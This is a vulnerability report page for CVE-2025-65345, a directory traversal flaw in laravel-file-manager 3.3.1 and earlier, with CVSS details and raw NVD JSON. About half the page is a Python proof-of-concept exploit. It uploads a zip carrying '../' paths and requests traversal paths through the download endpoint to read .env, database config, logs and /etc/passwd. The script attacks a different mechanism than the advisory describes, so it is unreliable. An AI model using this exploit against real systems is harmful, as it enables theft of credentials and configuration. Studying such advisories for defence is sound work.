Security Vulnerability Report
中文
CVE-2025-65345 CVSS 6.5 MEDIUM

CVE-2025-65345

Published: 2025-12-03 20:16:26
Last Modified: 2025-12-16 19:14:09

Description

alexusmai laravel-file-manager 3.3.1 and below is vulnerable to Directory Traversal. The zip/archiving functionality allows an attacker to create archives containing files and directories outside the intended scope due to improper path validation.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:alexusmai:laravel_file_manager:*:*:*:*:*:*:*:* - VULNERABLE
alexusmai/laravel-file-manager <= 3.3.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import zipfile import os import requests # CVE-2025-65345 PoC - Directory Traversal in alexusmai/laravel-file-manager # Target: alexusmai/laravel-file-manager <= 3.3.1 def create_malicious_zip(): """Create a zip file with path traversal in filename""" malicious_filename = '../../../etc/passwd' with zipfile.ZipFile('/tmp/traversal.zip', 'w') as zf: # Add a file with path traversal sequence zf.writestr(malicious_filename, 'malicious content', compress_type=zipfile.ZIP_DEFLATED) return '/tmp/traversal.zip' def exploit(target_url, zip_file_path): """ Send malicious zip file to the file manager's archive endpoint """ upload_url = f"{target_url}/filemanager/upload" with open(zip_file_path, 'rb') as f: files = {'file': ('malicious.zip', f, 'application/zip')} data = {'path': '/uploads/', 'disk': 'public'} response = requests.post(upload_url, files=files, data=data) return response # Alternative: Direct file read via path traversal def read_sensitive_files(target_url): """ Attempt to read sensitive files via path traversal """ sensitive_paths = [ '../../../.env', '../../../config/database.php', '../../../storage/logs/laravel.log', '../../../etc/passwd' ] results = [] for path in sensitive_paths: # Try to access via download endpoint with path traversal download_url = f"{target_url}/filemanager/download?path={path}" try: response = requests.get(download_url) if response.status_code == 200 and len(response.content) > 0: results.append({'file': path, 'content': response.content[:500]}) except Exception as e: pass return results if __name__ == '__main__': target = 'http://target.com/laravel-file-manager' zip_path = create_malicious_zip() print(f'Created malicious zip: {zip_path}') print(f'Exploiting: {exploit(target, zip_path)}')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65345", "sourceIdentifier": "[email protected]", "published": "2025-12-03T20:16:26.440", "lastModified": "2025-12-16T19:14:09.240", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "alexusmai laravel-file-manager 3.3.1 and below is vulnerable to Directory Traversal. The zip/archiving functionality allows an attacker to create archives containing files and directories outside the intended scope due to improper path validation."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:alexusmai:laravel_file_manager:*:*:*:*:*:*:*:*", "versionEndIncluding": "3.3.1", "matchCriteriaId": "B7BDA552-4A1F-44DE-9F9F-06C8883A1D9D"}]}]}], "references": [{"url": "https://github.com/alexusmai/laravel-file-manager", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/tlekrean/CVE-2025-65345", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}